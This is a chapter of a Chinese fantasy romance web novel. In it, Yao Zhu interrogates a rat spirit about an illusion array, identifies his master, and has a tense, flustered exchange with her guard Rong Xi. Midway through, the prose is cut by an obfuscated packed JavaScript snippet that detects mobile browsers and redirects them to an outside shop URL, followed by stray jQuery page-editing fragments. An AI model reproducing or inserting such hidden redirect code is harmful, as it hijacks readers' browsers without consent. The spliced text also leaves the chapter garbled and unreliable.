这个承诺似乎触动到他内心最深的渴求。 孟鼠挣扎半晌,抬起来的头又低了下去,闷声道:“我不能出卖我的主人。” 姚烛道:“他救过你的命?” 孟鼠点点头。 “好,那我们换个问题。”姚烛并不为难他,“说说看,你丢出那只老鼠,是想用迷阵达成什么目的?困住我,还是杀了我?” 孟鼠想了想,似乎说出答案,并不会危害到主人。他的行动准则是绝对不能背叛主人。其他的都有商榷的余地。姚烛似乎是个说话算数的人。也许她真的能帮到他。孟鼠鼓足了勇气,好半晌,才道:“困住你。” “哦?怎么困住我?” “迷阵能复现人心中最深的执念。人陷入其中,变成一个疯子。永远走不出来。” 这个迷阵本身没有那么复杂。解开它很容易,但跳出执念很难。七情六欲爱憎嗔痴。如同一张密不透风的大网,网住了飞禽走兽、凡夫俗子。人、半妖、妖族都逃不过的。主人给他的这个迷阵从无败绩,今日却遇到例外。孟鼠难掩失落神色。 姚烛回顾迷阵中的景象。她并没有遇见什么执念。倒是容溪说他看到了很多个老鼠精假扮的姚烛。难道容溪的执念是她吗? 姚烛道:“我和我丫鬟,皆不受影响。你的意思是我们俩没有执念?” 孟鼠对阵中情形了如指掌,自然知道进去了三个人,情况各有不同。 “破阵的那个丫头,她的根被切断了。她没有过去,没有执念。”孟鼠小心翼翼盯着她的眼睛,迟疑了下:“至于你……” “我如何?”姚烛等待他的后半句话。 “你的执念太大。比阵中困住的千百人执念加在一起还大。他们之所以痛苦,是因自我和执念矛盾冲突。而你不一样。你已经死了,活下来的是那个执念。无所谓冲突抗衡。所以迷阵困不住你,这是主人预判失误的一点。” 姚烛忽略了前头关于执念的论述,抓住最后一句。她敏锐至极,“你主人以为自己很了解我?” 孟鼠立即意识到自己说错了话。他噤若寒蝉,不再言语。 姚烛瞬间猜到幕后主使,心下了然,“我等会让人送你回去。继续卖你的馒头吧。” 孟鼠望着她背影,“你迟早会因你的执念而死。” 姚烛道:“你都说我已经死了。还怕再死一次吗。” 姚烛转身走到门口,想起容溪碰到的老鼠精,“对了。”她转过头,差点忘了问:“和我同时掉入迷阵的少年。他的执念为何是我?” 孟鼠道:“他对你有很重的欲望。” 姚烛道:“?”她神情空白,皱起眉头。“你说什么?” 这好像没什么道理。 姚烛揣着满腹疑虑走出柴房。雨停了,外头出了太阳。 木橙急不可耐问道:“怎么样,招了吗?” 姚烛还在琢磨孟鼠最后几句话。 木橙是个急性子,以为那人负隅顽抗,道:“直接打断他的腿,看他招不招。” 姚烛回过神,拉住暴走的木橙,道:“招了。我已经猜到他主人是谁。” 木橙道:“谁啊?” 姚烛道:“把人送回家,请个郎中为他医治,以后不许找他麻烦。” 木橙一副见了鬼的神情,道:“你认真的吗?” 木橙挖苦她:“你真是菩萨。我们应该把庙里的菩萨请出来,让你坐那。” 姚烛给了木橙一记眼刀。木橙悻悻闭嘴,“行,听你的。” 虽然两个人相识已久,关系好到能穿一条裤子。可姚烛翻脸的时候估计也是很恐怖的。木橙内心深处其实有些怕她,并不敢太放肆。 回到房间,姚烛给自己倒了一杯茶。她坐下来,慢慢复盘。回想起孟鼠所言。 木橙没有执念,这是可以理解的。但容溪的执念是对她的一种欲望,这就很难说得通了。姚烛掐着自己酸胀的太阳穴,反复推敲。难道是因为她在迷阵里过渡真气,为容溪平复药效,致使他胡思乱想? 不对,执念应该入阵就有。不可能是瞬间形成的。 可她和容溪才认识多久…… 笃笃笃—— 敲门声打断了姚烛的思绪。她回过神。 容溪推门而入。他换了身衣裳,带着沐浴过后的皂荚香气。姚烛目光瞬间他身侧游走。容溪端着一碗热气腾腾的汤,放在她身前的案几上。 “审得怎么样了?”容溪回望向姚烛,问道。 “差不多。”姚烛含糊道。 “是谁派他来的?” “水青玉。”姚烛吐出一个名字。 “那是谁?”容溪好像在哪听过这个名字,但印象不深刻。 “紫竹宫宫主,我的一个老朋友。” “既是朋友,为何要用迷阵害我们?” 容溪仿佛一个好奇宝宝,满脑子问题。姚烛随口道:“他这两年有点失心疯了。干出什么事,都不奇怪。过两天我去找他问问。” “哦,”容溪想了想,姚烛似乎没打算解释太多。他也不再多问下去。 他端起汤碗,吹了吹热气,郑重其事,“你忙了一天,喝点汤吧。” 姚烛看着汤里沉着物,似乎有党参和枸杞,“这什么?” 容溪道:“何掌柜让人熬的鹿鞭汤。” 姚烛道:“……” 她开个玩笑,何掌柜还真的熬了。 “我已经喝了好多碗了。”容溪抬起手,搭在自己的肚子上。 姚烛的视线顺着他的动作下移,停留一瞬,挪开了。两人之间的气场好像发生了微妙的变化。不知是不是她想太多的缘故。容溪吹拂着汤面上的热气,舀起一勺,喂到姚烛唇边。姚烛立即被那热度烫了一下。她转开脸,感到几分诡异。 容溪以为这是补身体的药,自己喝了,还不忘带给她。毕竟她给他过渡了真气。 他可能没有别的杂念。 可是孟鼠为什么说…… 姚烛看着他纯净无暇的眼睛,又疑心孟鼠是在胡说八道。 “味道有点怪,但还可以,”容溪语气带着点鼓励,“你尝尝吗?” “你喝这么多,今晚还睡得着觉吗?” “应该睡得着吧。” “容溪,”姚烛突然道:“问你件事。” “嗯?”容溪竖起了耳朵。 “我们从前认识吗?” 容溪心里咯噔一下,他屏住呼吸,眼神闪烁。 姚烛将他的反应尽收眼底,“船上是我们第一次见面吗?” 容溪迟疑半晌,嗫嚅道:“是。” 某种意义上来说他没有撒谎。他第一次见到姚烛,的确是在船上。 姚烛握住了他的手臂,按着人坐下。容溪心念百转,不知她为何有此一问,难道说,迷阵中他暴露了什么,他父母与姚烛过往之事尚未查清,此刻绝对不是摊牌的最好时间。容溪很快压下慌乱情绪,他若无其事放下汤碗,垂下眼睛,“为什么突然这么问?” “你让我有种似曾相识的感觉。”姚烛之前就觉得奇怪了。 “可能,”容溪斟酌道,“缘分吧。” “那你为何总是盯着我看。” “因为……”容溪看了她一眼,眼睫颤抖,他很小声地说:“因为你长得好看。” “什么?” 容溪紧张难安。他脸涨得通红,心惊肉跳,他在说什么乱七八糟的。 他慌乱无措地看向别处,后悔失言。很想给自己一耳光。 姚烛以为自己听错了,“你刚才说什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929316|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 容溪直挺挺站起来,“我先回去了。” 姚烛将他按回椅子里,不准走,她俯身,注视他双眼。 压迫感让人无所遁形,容溪胆战心惊,以为她掌握了什么线索。他抬起手挡在二人中间,又惊觉这叫欲盖弥彰。角逐尚未开始,他竟然轻易败下阵来。容溪心急如焚,既担心姚烛已经发现他来意不纯,又怀疑她是在诈自己。 万一姚烛知道真相,两人之间的信任荡然无存,那他这个护卫势必会被扫地出门。电光火石之间,容溪想明白厉害关系。他意识到,此地不宜久留,再待下去势必露出破绽。姚烛实在是太敏锐了。他决定先发制人。 容溪突然就有些恼羞成怒,一把推开她的手臂,“你别这么看我!” 所谓乱拳打死老师傅。 姚烛果然懵了,她没想到,他反应这么大,“你是朵花吗,还不让看。” 容溪怒道:“就不许看!” 他摆脱她的桎梏,扭头离开,脚步声匆匆。气得连门也忘了关。整个反应叫姚烛一头雾水,摸不着头脑。她本想追问二人是否从前相识,有过什么渊源。但容溪的每句回答都踩在她的意料之外。说着说着还生气了! 姚烛看着那碗尚余热气的汤药,想不明白他生气的点在哪里。她看他两眼,他就恼羞成怒了?这小子是不是吃错药,竟然冲她发脾气? 他知不知道什么叫长幼尊卑。 “容溪怎么了,”木橙从门口走进来,“你打他了?” “好端端的我打他干什么。”姚烛也有点不爽,说着话,他竟然敢摔门而去。 “上楼时我看见他气冲冲的,路不走,直接从楼上跳下去了。” “……”火气至于这什么大吗。 姚烛还从没见过这么暴脾气的人。她满腹狐疑,百思不得其解,感觉这事整个莫名其妙,完全没道理。难道容溪是鹿鞭汤喝多了发神经? 木橙办完事,晚上回来复命。压根不晓得二人有何纠缠。她自顾自道:“我把孟鼠送回去了。那死胖子,死沉死沉,也不减减肥。累死老娘了。”她一个劲儿抱怨,边捶肩膀,“我走的时候,死胖子还一个劲儿求我留下来保护他。说是你答应的。” 木橙絮絮叨叨,说了半筐话,没人接茬。姚烛还在走神,想刚才的事。木橙走到她面前拍桌子,噼里啪啦,“跟你说话呢。” 姚烛一心二用,道:“听见了。我的确答应保护他,你找两个人盯着。” 木橙道:“为什么?” 姚烛突然道:“问你个问题。” 姚烛斟酌了片刻,研究措辞。最后采用了一种十分直白的问法,“如果遇到一个长得还行的陌生人,你们年轻人很容易产生欲望吗?” 姚烛的口吻老气横秋。你们年轻人,仿佛她是个活了几千岁的老妖怪。 木橙表情立即变得耐人寻味:“你问这个干嘛?” 姚烛道:“随便问问。” 真是稀罕,姚烛从来不问这些事,仿佛没有七情六欲。她连饭都不吃。木橙料想在迷阵中肯定发生了什么,不然为什么让老何给容溪炖鹿鞭补身体。没想到老板老树开花,竟然看上了这种类型的。木橙觉得容溪除了长得俊俏这一个优点外,性格是又闷又无趣。 木橙故意道:“那不是很正常吗。我们年轻人走在大街上,看到好看的,一天能八百回色心。” 姚烛认真思考着她的回答。恍然大悟,原来是这样吗…… 可能容溪太年轻,还没遇到过几个女子。 那就说得通了。 年轻人的欲望总是丰富多彩。碰到一个顺眼的,就动念了。 姚烛从来没有往这个方向想过。本来是蒙着一层窗户纸。她试探戳破他,才导致容溪自尊心受挫大为恼火。姚烛想通了逻辑,脑子终于通畅,“明白了。” 木橙探问道:“你明白什么?” 年轻人血气方刚的,他自己调节好,不耽误正事就行。姚烛又不是他爹,还管他心里的弯弯绕绕。他爱生气就去生气吧。姚烛岔开话头,不再纠结此事,反正也不是什么大事,“安排下,过几日我去拜访水青玉。” “谁?” “紫竹宫宫主,水青玉。”